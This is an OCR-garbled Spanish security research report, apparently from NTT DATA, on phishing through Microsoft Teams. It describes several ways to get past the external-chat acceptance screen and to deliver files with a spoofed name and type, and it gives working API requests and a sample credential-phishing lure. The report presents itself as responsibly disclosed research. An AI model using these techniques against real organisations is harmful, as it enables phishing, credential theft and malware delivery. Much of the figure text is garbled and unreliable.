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Explorando Microsoft Teams como via
de phishing
El Equipo de Operaciones Avanzadas de Seguridad (ASOT) de NTT

DATA ha descubierto una serie de técnicas de phishing que permiten
atacar a las organizaciones a través de Microsoft Teams.

Las técnicas detalladas en esteinformeno suponen vulnerabilidades en la aplicacién de Microsoft
Teams sino que pretenden explotar malas configuraciones en su utilizacion




Microsoft Teams, una herramienta critica amenazada por los
ciberdelincuentes

Microsoft Teams es, probablemente, la herramienta de comunicacién interna mas utilizada por
compaiiias actualmente. Sin embargo, desde hace meses, numerosos actores maliciosos (threat actors)
vienen aprovechando malas politicas de configuracién en esta herramienta para ejecutar ataques de
phishing centrados en el robo de credenciales y la entrega de malware a través de SharePoints
maliciosos.

Durante el pasado mes de septiembre, Microsoft actualizé su herramienta afiadiendo diversas medidas
de seguridad que buscaban mitigar las vulnerabilidades explotadas por actores maliciosos.

Desde el EquipoEquipo de Operaciones Avanzadas de Seguridad (ASOT) de NTT DATA hemos analizado
las técnicas y herramientas utilizadas por estos actores, descubriendo nuevas variaciones que permiten
evadir los nuevos controles de seguridad introducidos en la Ultima actualizacién de MS Teams.

Todos los problemas aqui detallados han sido reportados a MSRC siguiendo nuestra politica de
publicacion responsable. Los equipos de NTT DATA y Microsoft estan colaborando para corregir dichos
problemas. NTT DATA ha creado una herramienta llamada TeamsBreaker disponible en Github.

Comunicaciéon Cross-Tenant en MS Teams

Una funcionalidad muy interesante de la herramienta de
comunicacion de Microsoft es que permite la
comunicacion entre organizaciones Microsoft 365, lo que
es conocido como “Comunicacion Cross-Tenant”. Gracias
a esto, es posible conectar con usuarios pertenecientes a
organizaciones externas para mantener conversaciones o
reuniones, ya sean individuales o colectivas.
La comunicacion Cross-Tenant en Teams permite cuatro
modos de configuracién distinto, en funcién de las
necesidades de la compafia.
* Permitir todos los dominios externos: los
usuarios internos pueden comunicarse con
usuarios de cualquier dominio externo.
* Permitir solo dominios externos especificos:
Unicamente las organizaciones bajo dominios
permitidos podran comunicarse con usuarios
internos.
+ Bloquear solo dominios externos especificos:
cualquier organizacion externa, salvo las que se
encuentren bajo dominios bloqueados, podra
comunicarse con usuarios internos.
+ Bloquear todos los dominios externos: los
usuarios internos no pueden comunicarse con
usuarios de ningun dominio externo.

Teams and Skype for Business users in external organizations

When external domains are allowed, users in your organization can chat, add users to meetings, and use audio video conferencing
with users in external organizations, By default, your organization can communicate with all external domains. r

Choose which external domains your users have access to:
Allow all external domains

Allow all external domains

Allow only specific external domains
| ints aren't managed by an organization. Learn more

Block only specific external domains

Block all external domains

Politicas de acceso para dominios externos.


https://www.microsoft.com/en-us/security/blog/2023/09/12/malware-distributor-storm-0324-facilitates-ransomware-access/
https://github.com/AOST-LABS/TeamsBreaker

La configuracion por defecto es la primera por lo que, a no ser que el administrador la cambie
expresamente, cualquier usuario externo puede iniciar una conversacién con un empleadode la
organizacion. Esto es un problema, ya que convierte a Teams en el objetivo de campafias de phishing
basadas en la comunicacion Cross-Tenant, al no establecer ningun control sobre el origen de los
mensajes.

Enumeraciéon de usuarios
Es bastante sencillo saber si una organizacién permite las comunicaciones Cross-Tenant. Basta con utilizar

la barra de busqueda de Teams para buscar unadireccidon de correo. Si aparecen resultados, significaque
la organizacion a la que pertenece la direccién de correo admite comunicaciones externas.
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Overview Contact Linkedin

Send a quick message B
() Status unknown

Contact information

Obteniendo informacién de un usuario externo.

También es posible realizar la busqueda a través de la API de Teams

Obteniendo informacién de un usuario externo a través de la API de Teams.

Pantalla de solicitud de conversacion externa

Con el objetivo de informar a los usuarios de la
procedencia externa del mensaje y tratar de
mitigar asi los intentos de phishing, Microsoft
introdujo una pantalla de solicitud para
conversaciones con dominios externos.
Cadavez que un usuariointernorecibe un
mensaje de un dominio externo se le muestra una {1 Thisperson i from outsde your organization
advertencia sobre la procedencia del mensaje, e o e et o e e o s s
teniendo el usuario la opcion de aceptar o e e s s e
previsualizar el mensaje, o bien bloquear al

remitente.

Esta medida resulta bastante efectiva, ya que

alerta al usuarioy le insta a comprobar la

legitimidad del mensaje antes de aceptarlo.

Company CEO (ceo@aost-labs.xyz) wants to chat with you

To be safe,

Block Accept

Pantalla de solicitud de conversacion externa.



Sin embargo, a finales de 2022, el investigador Andrea Santese publicé un articulo llamado “ Leveraging
Microsoft Teams for Initial Access” en el que, entre otras cosas, explicabauna técnica muy sencilla para
evadir la pantalla de solicitud de conversaciones externas.

La técnica consistia en crear un chat de grupo con mas de dos usuarios, afiadiendo a la “victima” ala
conversacion.

> o

Va a iniciar una conversacién nusva
Estriba 3u primer mensaje s eantinuatin

Creacidn de chat de grupo.

La pantalla de solicitud unicamente funcionaba para conversaciones individuales, por lo que al crear un
chatde grupoy enviar mensajes, la victima los recibiria sin necesidad de dar ningun tipo de
consentimiento.

Como se puede ver en laimagen, el mensaje llega directamente sin necesidad de ser aceptado, aunque
hay algunas advertencias acerca de la procedencia externa del remitente.
Esta vulnerabilidad ha sido ampliamente usada por actores maliciosos a lolargo del afio 2023, llegando a

desarrollarse una herramienta publica llamada TeamsPhisher, capaz de evadir la pantalla de solicitud y
hacer entrega de archivos maliciosos a través de Teams.

2N . °
() test” | xtemal | %2

some people in this chat are outside your org. It's possible they have message-reiated policies

AN Account Notifications
b Account Notifications added John Doe (External) to the chat. D John Doe (External)
Account Notifications changed the group name to test.

co Add people

@

Grupo creado con lavictima. Fuente: Andrea Santese, “Leveraging Microsoft Teams for Initial Access”.



https://posts.inthecyber.com/leveraging-microsoft-teams-for-initial-access-42beb07f12c4
https://posts.inthecyber.com/leveraging-microsoft-teams-for-initial-access-42beb07f12c4
https://github.com/Octoberfest7/TeamsPhisher/tree/main

Actualizacion de septiembre de 2023

La actualizacién llevada a cabo en septiembre de este afio
introdujo nuevos controles de sequridad que, entre otras
cosas, inutilizaban la técnica descrita anteriormente para
evadir la pantalla de solicitud y, concretamente, evitaban que
la herramienta TeamsPhisher pudiera ser utilizada.

Como se puede ver en la siguiente imagen, los chats grupales
Cross-Tenant empezaron a mostrar la pantalla de solicitud
gue antes no mostraban.

Company CEO (ceo@aost-labs.xyz) added you to a group chat

/\ This person is from outside your organization

Delete chat Accept

Pantalla de solicitud para chats grupales externos.

Sin embargo, a las pocas horas de la actualizacion, investigadores
del ASOT de NTT DATA descubrieron diversas técnicas que
permitian evadir los nuevos controles de seguridad introducidos
en la aplicacion.

Teams Classic vs Teams (new)

A mediados de octubre, Microsoft lanz6 una nueva versién de
Teams, cambiando el nombre de la antigua aplicacién a Microsoft
Teams classic.

Esto permitié que nuestros investigadores pudieran probar las
distintas técnicas de evasion descubiertas en ambas versiones.
Sin embargo, parece que la aplicacion “Classic” presenta
comportamientos anédmalos cuando se aplican algunasde las
técnicas explicadas a continuacion.

Apps

.. Microsoft Teams classic (work or
school)

‘I;;b Microsoft Teams (work or school)

Distintas versiones de Microsoft Teams.




Evasion de la pantalla de solicitud: Meetings

La primera técnica de evasion descubierta se basa en la creacién de reuniones con la opcién de chat
habilitada. Un usuario externo puede crear una reunién invitando a la victima, deshabilitando la opcion
de “Solicitar Respuestas” para evitar quetenga que responder a la convocatoria.

n New meeting Details Scheduling Assistant

Category: None Time zone: (UTC+01:00) Brussels, Copenhagen, Madrid, Paris ~~ R 1 “  Require registration: None

Creacién de una reunién en Teams.

En la imagen anterior, se ha configurado la fecha de la reunidén para dentro de un afio, evitando asi que

aparezca en el calendario del usuario, lo que levantaria sospechas.
Como resultado, se creara una reunion con un chat cuyos mensajes llegaran directamente a la victima sin

activar la pantalla de solicitud.

@ Test Bypass Meeting Chat Files Recordings & Transcri... Q&A

Some people in this chat are outside your org. It's possible they have message-related policies that will apply to the chat. Learn more

@ Jose was invited to the meeting
Company CEO (External) 1:37 PM

cc heey!
° Y

Mensaje enviado a través del chat de la reunidn, evadiendo la pantalla de solicitud.

Esta técnica permite evadir la pantalla de solicitud, pero tiene numerosos inconvenientes:
+ La victima recibira un email con la invitacion a la reunién, aunque no es necesario que acepte
para recibir el mensaje. Sin embargo, puede levantar sospechas.
+ Lavictima podra ver la reunion en su calendario, lo cual también resulta sospechoso.

¢ Dnr dafarta lnc rhate dAa raiininnac actin cilanriadnce nnr ln Ana lavicrtima nn recjbird ninguna

Not Test Bypass Meeting

Company CEO <ceo@aost-labs.xyz>
() Required @®Jc

(@) The organizer has not requested a response for this meeting.
You can't forward this invitation. Only the organizer can invite other people to this meeting.

@ Sunday, October 13, 2024 2:00 PM-230PM @ Microsoft Teams Meeting

2PM E Test Bypass Meeting; Microsoft Teams Meeting; Company CEQ

3PM

4PM

Mensaje de invitacidn recibido por lavictima

Esta técnica, aunque descubierta en paralelo, ya ha sido publicada por el investigador @pfiatde,
por lo que nos gustaria reconocer su trabajoy su velocidad a la hora de publicar.


https://badoption.eu/blog/2023/09/27/teams4.html

Evasion de la pantalla de solicitud: Meetings sin enviar correo

Para evitar que la victima reciba un email con unainvitaciéon a unareunioén, los investigadores ASOT de
NTT DATA descubrieron una variacion de la técnica anterior. Esta se basa en el hecho de que se puede
crear unareunion de un solo integrante, en este caso solamente con el atacante, y posteriormente afiadir
la victima al chat asociado.

New meeting Details Scheduling Assistant

Show as: Busy v Category:None v Time zone: (UTC+01:00) Brussels, Copenhagen, Madrid, Paris ~» Response options Require registration: None

/7 Meeting bypass|

) Add required attendees + Optional

©  10M19/2023 4:30PM v~ —  10/19/2023 5:00PM v 30m @  Allday
(FL3) Does not repeat v

= Add channel
® Add location Online meeting D
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Type details for this new meeting

E Add an agenda others can edit

Creacion de reunion sin miembros

Ahora se puede afiadir la victima al chat de la reunién. No obstante, esto no se puede realizar por la
interfaz de usuario de Teams, ya que creara un nuevo chat de grupo en lugar de utilizar el chatde la
reunion. Para ello hay que hacer uso de la API de Teams.

Meeting bypass chat Files Recordings & Transer board  GBA “ & =

Afiadir usuario externo desde interfaz crea nuevo chat

==
Request Response !
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Una vez el usuario es afiadido al chat de reunidn, ya puede recibir mensajes por parte del atacantey se
conseguira evadir la pantalla de solicitud. No obstante, este chat de reunion estara silenciado por
defectoy la victima no recibira notificaciones de nuevos mensajes.

El chat de reunidn tiene el usuario externo y lavictima puede recibir mensajes sinventana de aviso

Para automatizar la creacion de estos tipos de chat es util observar, a través de un proxy como BurpSuite,
el proceso que siguen las aplicaciones de Teams (Escritorio/Web) al crear una reunién y como se genera
su chat correspondiente. Una vez que se ha comprendido este proceso, es posible simplificar la
automatizacion de la siguiente manera:

Crear un evento en el calendario, lo cual genera un chat de reunioén noinicializado.
Configurar el evento como una reunion, lo cual también inicializa el chat.

Afadir la victima al chat.

Mostrar el chat.

Paso 1. Crear evento en calendario

El POST que se muestra en la imagen proporciona un "threadld". Aunque esto permite enviar mensajes
directamente, es importante destacar que el chat estd en un estado no inicializado a través de este
endpoint. Por lo tanto, antes de poder enviar mensajes, es necesario llevar a cabo el paso adicional que
se describe a continuacién.

POST Japi/mt/part/emea-@83/beta/me/calendarEvents/privateMeeting/schedulingService/create HTTP/2
Host: teams.microsoft.com
User-Agent: Mozilla/5.@ (X11; Linux xB6_64) AppleWebKit/337.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
+ Authorization: Bearer [..ﬂ
" Content-Type: application/json
Origin: https://fteams microsoft.com
| Referer: https://teams microsoft.com/
Content-Length: 54

{
"isStreamEnabled":false,
"meetingType":"Scheduled”

} L .
Peticién que crea el evento en el calendario

{

"walue":{

"expiryTime":"2023-12-17709:40:18.8035644+00:00",
“i;gugpontext"
"threadId":"19:meeting_YZE@ZIWV lﬁth:eed.vl”l
A
"etag':’ "
"meetingUrl” [

"links":{
"jain®

"undate”

.
"views":{
"html":

"threadId" Generado por peticion anterior



Paso 2. Configurar evento como reunién

En este punto, se procede a crear la reunién, tal como se muestra en laimagen. Unicamente se incluye la
cuenta del atacante como miembro, lo cual se realiza con el propdsito de evitar que la victima detecte la
reunion en su calendario o reciba notificaciones por correo al respecto.

"schedulingServiceEvent":{
"startTime" :null,
"endTime":null,

"subject":null,
"groupContext”:{
"threadId":"19 :meeting_YZE@ZIW

I

Extracto del cuerpo de la peticién anterior. Hace falta indicar el
"threadld" obtenido anteriormente.

idn de configuracién de reunién

Paso 3. Anadir victima al chat

Utilizando el “threadld” es posible realizar una peticion al
endpoint de agregar un usuario a un thread. Este
endpoint se puede utilizar también con otros tipos de
chats.

POST fvl/threads/19:meeting_Y2E@IWV @thread.v2/membexrs HTTPR/2
Host: emea.ng.msg.teams.microsoft.com

User-Agent: Mozilla/5.@ (X11; Linux xB6_64) ApplevebKit/537 36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Authentication: skypetoken=[...]

Content-Type: application/json

Origin: https://teams microsoft.com

Referer: https://teams.microsoft.com/

Content-Length: 119

{
"members": [
{
"id": "8 orgid
"role":"Admin",
"shareHistoryTime":-1
'
]
Peticion para afiadir victima a chat

Paso 4. Mostar el chat

Por defecto los chats de reunién generados de esta
manera estan ocultos. Necesitan ser mostrados por su
creador para que los demas miembros puedan very recibir
los mensajes. Esto se realiza con la peticiéon de laimagen.

PUT /v1/threads/19:meeting_YZEQZWV @thread.v2/properties?name=hidden
HTTR/2

Host: emea.ng.msg.teams.microsoft.com

User-Agent: Mozilla/5.@ (X11; Linux x86_64) AppledebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate

Accept: *j*

Connection: keep-alive

Authentication: skypetokens|

Content-Type: application/json

Origin: https://teams.microsoft.com

Referer: https://teams.microsoft.com/

Content-Length: 19

{
"hidden":"false" I
}

Mostrar chat




Evasion de la pantalla de solicitud: Creacion de Meeting via Threads API

Los investigadores del ASOT de NTT DATA descubrieron una técnica similar, basadaen la creacion directa
de un chatde reunion sin necesidad de crear unareunién como tal, reduciendo el nUmero de pasos
necesarios para conseguir evadirla pantallade solicitud.

Tras analizar el trafico generado por la aplicacion, es posible ver que, cuando se crea un nuevo chat, se
envia una peticion a la API de Teams para crear un thread (el término utilizado para referirse a cualquier
tipo de conversacién en Teams) del tipo “Chat”.

En esta peticion se afiade el MRI
(identificador Gnico) de cada uno de los

Pretty Raw Hex

participantes, asi comosu rol y las POST /v1/threads HTTP/2
propiedades del thread creado, entre e e
ellas el tipo de thread, que en este caso iy sl iy e M
es “Chat". he-chicns-ame: v
X-Ms-Client-Ve n: 1415/1.0.0.2023092925

Authentication:

Nuestros investigadores del ASOT
descubrieron que es posible modificar
la tipologia del thread para conseguir
alterar la forma en la que la aplicacion se
comporta. Concretamente, si se crea un
thread del tipo “Meeting”, la aplicacién
lo tratara como si fuera el chatde una

Sec-Ch-Ua-Platform: "Windows"

User-Agent: Mozilla/S5.0 (Windows NT 10.0; Winé4:; x&4) AppleWebKit/537.3& (KHTML)

reunién “inexistente”, consiguiendo asi Content-Type: application/ison

evadir la pantalla de solicitud, evitando i e P g S Bl e ol B W L i
que se envie el correo de invitaciéony que s i R

aparezcaen el calendario (porque e DR

realmente no existe tal reunion). AT s Y AR

Accept-Encoding: gzi deflate, br
Accept-Language: es-ES,es;q=0.9

Aligual que en el caso anterior, el chat
creado estara silenciado por defecto.

Behavioroverride: redir
X-Ns-Scenario-Id:
X-NMs-User

de un thread del tipo "Chat" en la API de Teams.

Meeting Chat Without Meeting chat

bt |t By

"role":"A
"isReader”:"f
"isFollowing”: "t:

wign:
"role®:"
"isReader"”: "t
"isFollowing": "t

Evasién de la pantalla de solicitud a través de un thread del tipo “Meeting”.

Peticion POST para la creacién de un thread del tipo
“Meeting”.




Evasion de la pantalla de solicitud: Plantillas “openChat” y “closedChat”

Llegado este punto, los investigadores del ASOT de NTT DATA continuaron analizando la API para ver si
era posible crear otros tipos de threads capaces de evadir la pantalla de solicitud.

Concretamente, descubrieron dos propiedades que permitian modificar la tipologia de un thread. Por un
lado, la propiedad “threadType” definela tipologia interna del thread, es decir, como va a ser tratado por
la aplicacion a nivel de funcionalidad, mientras que la propiedad “templateType” permite seleccionar una
“plantilla” que puede sobrescribir la funcionalidad del thread.

Es decir, es posible crear un thread del tipo “Chat” con una plantilla “Meeting” y, aunque internamente el
thread sea un “Chat”, la aplicacién lo tratara como si fuera un “Meeting”, y el resultado sera el mismo que
hemos visto en el caso anterior.

Esto resulta especialmente interesante cuando se descubre que existen mas tipos de plantillas que de
threads. El siguiente Gist descubierto por nuestros investigadores contiene informacién acerca de la API
de Teams, concretamente acerca de los tipos de threads y templates.

Como se puede observar, las plantillas “OpenChat” y “ClosedChat” no lT,weadType-v: {

se corresponden con ningun tipo de thread, pero parece que estan "enum: [

relacionadas con el tipo “Chat”, por lo que se convirtieron en objetivos “Chat",

de lainvestigacion. "Meeting”,
"Space”,

Resulta que al crear threads del tipo “Chat”, con cualquierade las dos "Topic",

plantillas nuevas, el comportamiento es similar al de un chat grupal "Phonechat"

normal, con la diferencia de que no se activa la pantalla de solicitud. 1

En resumen, esta técnica tiene la ventaja afiadida de que la "type": "string"

conversacion creada nova a estar silenciaday, de hecho, el usuario 9

recibira una notificacion una vez se envie el mensaje.
"TemplateType™: {

Request

pretty " 8w = "enum": [
“Chat",
"Meeting",
"Space”,
"Topic”,
"PhoneChat",
"ClosedcChat",
"OpencChat”

N

"type": "string”

N
J

Enlace

Definiciones de "ThreadType" y
"TemplateType" extraidas del Gist.

En el caso de la plantilla “closedChat”, el

Creacién de un chat con plantilla "OpenChat".
comportamiento es idéntico:

Openchat test

(
"members”: [

Ejemplo de mensaje recibido por el usuario desde un “openChat”.

Closedchat test

Creacién de un chat con plantilla “ClosedChat”.

cc Hi there!

Ejemplo de mensaje recibido por el usuario desde un “closedChat”.


https://gist.github.com/ardatan/a4a619d6d1a4daa3b65287d0298e50e0

Problemas de Microsoft Teams Classic

Como se ha adelantado previamente, la aplicacién Teams
Classic presenta algunos problemas a la hora de procesar las
plantillas “openChat” y “closedChat”. De hecho, el
comportamiento es un poco aleatorio.

Cuandose crea un nuevo thread en la aplicacion nueva, los
usuarios afladidos al thread pueden verlo en la pestafia de
Chat.

Closedchat test 3 12:33 PM

User added External

Aviso de creacién de un nuevo thread

Sin embargo, en Teams Classic esto no siempre es asi. En
ocasiones aparecera el nuevo thread, pero otras veces sera
necesario reiniciar la aplicacién (o refrescar la pagina, si se
accede desde Teams Web) para poder ver el nuevo thread.
De la misma manera, cuando se envia un mensaje a través de
un thread “openChat” o “closedChat”, el usuariorecibirauna
notificacién en la version nueva de Teams.

Closedchat test 4
ceo@aost-labs.xyz: Hi there!
Send a quick reply B

Votificacién recibida desde un "closedChat".

Pero desde Teams Classic esto no siempre es asi. De
nuevo, en algunas ocasiones se recibe la notificacién,
peroen otras muchas es necesario reiniciarla aplicacion.

Bonus: envio de archivos

El envio de archivos maliciosos a través de phishing es un
vector muy Util para conseguir entrar en lared de la
victima. Microsoft Teams intenta mitigar esto impidiendo
através de lainterfaz de usuario el envio de archivos a
usuarios de organizaciones externas. No obstante,
siguiendo la investigacion de Andrea Santase en

“ ", los
archivos se pueden seguir enviando a través de la API de
Teams.

Si se captura el envio de un mensaje que adjunta un
archivo, se puede ver que tiene como parametro “files”
una cadena de texto formato JSON que lorepresenta.

Formato de mensaje con archivo adjunto



https://posts.inthecyber.com/leveraging-microsoft-teams-for-initial-access-42beb07f12c4

Los parametros “title” y “type” afectan solamente a la interfaz de usuario de Teams, permitiendo
esconder el verdadero nombre y extensién del archivo. El parametro “shareUrl” apunta a la URL que se
va a acceder para descargar el archivo, se puede cambiar a una URL de un dominio controlado por el
atacante, o apuntar a Microsoft Sharepoint.

La subida de un archivo a Microsoft

"@type":"http://schema.skype.com/File",

Sharepoint para entregar a una o2,
VI'Ctima Se puede I’esumir en IOS :Iz:::%lxltx(h((ps {/[...]1-my.sharepoint.com/personal/ [user]/",
siguientes pasos a nivel de la API ratacer aceive,
. "objectUrl” 5://[...]1-my.sharepoint.com/personal/[user]/Documents/Microsoft%20Teams%20Chat%20Files/exampled. txt",
de Microsoft: “providerbata® ™",

"itemid":"[

a
"fileType t>t",

1) Subir el archivo al Sharepoint ertemntor ¢
pa ra Obtener un ID del EEEE;;HUEEE ! fﬁiiﬂimﬁ:iﬂﬁu 1/Documents/Microsoftk20Teansk20Chat20Files / exanpled. txt”,
archivo. S =
i
2)  Crearunainvitacion a partir e
del ID obtenido en el paso e
anterior para generar un lemaesae
“shareUrl” valido. ) e

}
1

3) Con el “shareUrl” obtenido
en el paso anterior crear una
descripcion del archivoen
JSON siguiendo el formato
indicado. Enviar un mensaje
en un chatdonde se
encuentre la victima
adjuntandola descripcién del
archivo.

Formato JSON descripcidn de archivo

/_api/v2.8/drive/roct: /Microso F4%20Teans%20Chat¥20Files/exanpled. txt: /content?
lect=+,sharepointlds,webDavurl HTTP/1.1

x x86_64) AppleilebKit/537.36 (KHTML, like Gecke)

Esta informacién se ha obtenido
inspeccionando el codigo fuente de

la herramienta TeamsPhisher o rreer e s
Paso 1. Subir el archivo a
Sharepoint

EIID queinteresa paracrear la
invitaciéon se encuentra en el
camporesaltadollamado “listItem
Uniqueld”. Por otra parte, se
puede observar cdmo hay un
parametro GET que representa el
método de conflicto. Cuando se
especifica "replace”, se
reemplazara el archivo, incluso si
ya existe, y se respondera con un
estado "200 OK". En caso de que el
archivo no exista, larespuesta sera
un "201 Created".

El cuerpode la peticion es el )

contenido del archivo a subir. peticién subir archivo


https://github.com/Octoberfest7/TeamsPhisher

Paso 2. Crear invitacion

Existen al menos dos opciones para crear invitaciones en Sharepoint. La primera alternativa es la que utiliza la
herramienta TeamsPhisher, la cual sirve para generar enlaces de invitacion de solo lectura. Por otro lado, la
segunda opcion se encontré en una investigacion desarrollada por el ASOT de NTT DATA. Sin embargo, hasta

el momento, esta segunda opcion solo permite crear invitaciones con permisos de escrituraglobal. Aunque
actualmente se desconoce la manera para establecer permisos de solo lectura en este sequndo enfoque, se
prevé que realizar esta modificacién no deberia ser un proceso excesivamente complej

Al mandar la peticion se obtiene en la respuesta una UR

(marcada en rojo en cada foto) que sera la que hay

que utilizar para adjuntar el archivo en el mensaje haciala victima.

POST /personals /_apifweb/GetFileById(@al)/ListItenAllFields/Sharelink?@al= Response -
guids27lce %27 HTTR/1.1 Pretty Raw Hex mo=
Host my sharepoint com rre s o s
User-Agent: Mozilla/5.@ (¥11; Linux xB6_64) AppleWebKit/537 36 (KHTML, like Gecko) "email":" ",
Accept-Encoding: gzip, deflate "expiration”:null
Accept: application/json;odata=verbose "id":3
Connection: keep-alive "isActive":true,
Authorization: Bearer "isExternal":false,
& Content-Type: application/json;odata=verbose "jobTitle":null
) Origin: https://www. odwebp.svc.ms "loginName":"i:8#. f|membership
10 Referer: https://wwv.odwebp.svc.ms/ "name" : "Company ",
11 Content-Length: 1475 "principalType”:1,
12 "userld":null,
13 "userPrincipalName” :"
14 4 T
1 "request”:{ "LimitUseToApplication”:false,
16 "createlink":true, "LinkKind":4,
1 "settings":{ "Meetingld” :null,
1 "allowAnonymousAccess” true, "PasswordLastModified":"",
1 "trackLinkUsers":false, "PasswordLastModifiedBy" :null,
28 "linkKind":4, "RedeemedUsers":{
1 "expiration”:null, "__metadata":{
"role":1, "type":"Collection(5P.Sharing.LinkInvitation)”
"restrictShareMembership”:false, 1.
"updatePassword”:false, "results":[
"password":"" )|
"scope”:0 ,
I "RequiresPassword” - false,
"peoplePickerInput”: "RestrictedShareMembership”:false
y 1:0% f|membership | isplayText\" CEO\", \"IsResolv "RestrictToExistingRelationships": false,
VUAVTERtityTy AltSecldPresent\ "Scope”:@,
" "ShareId":"f4
"ShareTokenString”
"Tenant\ "SharinglinkStatu:
ed\":true, \"EntityDatal” "TrackLinkUsers":false,
\", A Em \ \ sBlocked "False "Url"
e\" I \"UNVALIDATED_EMAIL_ADDRESS . ccountNam "https: /4 -my arepoint.com/:t:/gs
,\"IsBlockedOnODBA" 1 \"False\"}, \"MultipleMatches
layMame }
} }
} }
1 i
Creacidn invitacién solo lectura
Request Response e
Pretty  Raw  Hex s Pretty  Raw  Hex n =
1 POST ntld=:
Jpersonal/ _ /_apifv2.@/sites/Toot/items/1lcc7dB5c- efldriveltem/invite MEL: {"report_to":"network-errors","max_age":7200, "success_fraction”:0.B@1,"failure_fraction":1.0
HTTP/1.1 . Strict-Transport-Security: max-age=31536000
Host -my _sharepoint. com 7 X-FRAME-OPTIONS: SAMEORIGIN

Content-Security-Policy: frame-ancestors 'self' teams microsoft.com *.teams.microsoft.com *.skype.com
*.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com
* microsoft365 com * stream azure-test net * microsoftstream com *. dynamics com * microsoft.com

onedrive. Live.com * onedrive.live.com securebroker.sharepointonline.com;

) X-Powered-By: ASP.NET

User-Agent: Mozillaf5.8 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate

Accept: application/json

6 |Connection; kee

7 Authorization

alive
Bearer [token]

Content-Type: application/isen ) MicrosoftSharePointTeamServices: 16.0.0.24204
Application: Teams_eb 1 X-Content-Type-Options: nosniff
o Sec-Ch-Ua-Platform: X-MS-InvokeApp: 1; RequireReadOnly

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IWDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAW ONL PHY PRE PUR

UNI"

Origin: https://teams.microsoft.com
Sec-Fetch-Site: cross-site

3 Sec-Fetch-Mode: cors : Date: Wed, 18 Oct 2023 B9:41:48 GMT
4 Sec-Fetch-Dest: empty Content-Length: 619

Sec-Ch-Ua:

Prefer: getDefaultlLink,ReturnSpecificErrorCode T

7 Sec-Ch-Ua-Mobile: 78 "@odata. context”
/_api/v2. 0/ $metadata#pernissions”,

8 Referer: https://teams.microsoft.con/ "https:// \-my . sharepoint . com/personal/
Content-Length: 57 "walue":[
20 {
1q "hasPassword” : false,
"recipients”:[ "id":"e8
{ "roles”:[
"email®: " [email]f write”
1 1.
1 "link":{
} "blocksDownload" :false,

"createdDateTime": "2023-18-17T10:15:42 212",

"creatednly” :false,

"iconUrl":"https://static2.sharepointonline. com/files/fabric/assets/icons/sharing/anyons. svg",
"localizedDescription”:"Anyone with the link can edit”,

"scope": "anonymous",

"type": "edit”,

FueblUrl”

[ https:// -my.sharepoint.com/:t:/g/personal/ FEVZHXRX)

Creacidn de invitacién escritura global. Se puede observar “v2.0"en el
punto de acceso de la API.



[, T S N
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Como se puede observar en las imagenes, TeamsPhisher utiliza como endpoint para crear la
invitacioén la siguiente URL:

https://[nombre_del_sharepoint]-
my.sharepoint.com/personal/[usuario] /_api/web/GetFileByld(@a1)/ListItemAllFields/ShareLink?@a 1=quid%27[id_del_archivo]%27

En la técnica alternativa, se utiliza:
https://[nombre_del_sharepoint]-my.sharepoint.com/personal/[usuario] /_api/v2.0/sites/root/items/[id_del_archivo]/driveltem/invite

Se puede observar que aparece “v2.0" en esta URL, por lo que se podria tratar de una nueva
funcionalidad. El header llamado “Prefer” parece controlar los tipos de links que se generan, si se
encontrase otro valor ademas de “GetDefaultLink” quizas se pueda controlar los permisos

de escritura.

Asimismo, el cuerpo de la peticion de este endpoint es mucho mas sencillo que el utilizado

por TeamsPhisher.

POST fvl/fusers/ME/conversations/19:meeting_[...]@thread.v2/messages HTTP/2

Host: amer.ng.msg.teams.microsoft.com

User-Agent: Mozilla/%.@ (X11; Linux xB6_64) ApplewWebKits/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

/ Authentication: skypetoken=[token]

Content-Type: application/json, Charset=UTF-&
Origin: https://teams . microsoft.com

Referer: https://teams.microsoft.com/
Content-Length: 1653

{

"content":

"ep=Hi [...],</p=\n<p=&nbsp;</p>\n<p>Please enter <a href=\"https://www.google.com\" title=\"click here\">here

<fa» spon, Or your access will be revoked.</p>\n<p>&nbsp;</p>\n<p>Kind regards, </p>\n<p>The real IT Team. (not

a hudB3dhudclf)</p=",

"messagetype”:"RichText/Html",

"contenttype”:"text"”,

"amsreferences": [

1.

"clientmessageid”:"[id]",

"imdisplayname":"[display name]",

"properties”:{
"files":
"[{vtEtypel\": \"http://schema.skype.com/File\", \'"version\": 2, \"id\": A"lcc[...]\", \'baseUrl\": \'https:/
fl...]-my.sharepoint.com/personal/[...]/v", Y'typel": A"twt\", AW"titlel”: \exampled.txti", \"statel": \"act
ivel", ‘V'objectUrlhy": V'https://[...]-my.sharepoint.com/personals/[...]/Documents/Microsoft¥2@Teams%IBChat%ie
Files/example3. txt\", \"providerData\": Y"\", “'itemid\": \"lcc¥[...]\", ‘V"fileName\": \"example3d. txt\", \'f
ileTyper": A"twt\", A"filelInfol™: {\'itemId\": null, \"fileUrli": “'https://[...]-my.sharepoint.com/:t:/g/pe
rsonals[... JFEVZWooe] .. L1V, WUsiteUrlh": A"https://[...]-my.sharepoint.com/personal/ceo_aost-labs_xyz/\", \
"serverRelativelrly”: \"\", \'shareUrl\i": \"https://[...]-my.sharepoint.com/:t:fg/pexrsonals[... ] EVZux]..
Jv", \"shareIdi": Y"[...]\"}, \"botFileProperties\": {}, \"permission5cope\": \"amonymous\",6 \"filePrewiew\"

{3, VfileChicletState\”: {\'serviceName\": \"pZp\", \"statel": ‘'active\"}}1",

"importance”:"",
"subject":""

}

} Peticién enviar mensaje
Company CEQ (External) 11:40 AM

Paso 3. Envio de mensaje . Hi

Después de construir una peticién siguiendo el formato riesss ener s saen aryourscss il herevees

previamente descrito para enviar un mensaje con un archivo i regercs

e real IT Team. (not a €41)
adjunto, la victima recibira un archivo procedente de un R
usuario externo a su organizacion. E i

Archivo enviado



Cambiando “title” y “type” en la peticién e 5
anterior se puede suplantar el tipode
archivoy cambiar el icono. Por ejemplo, se

ha cambiado el “title” del archivo de texto e ——
anterior a “spoofed.spoofed_extension” y
el “type” a “docx” para que cambie el
icono.

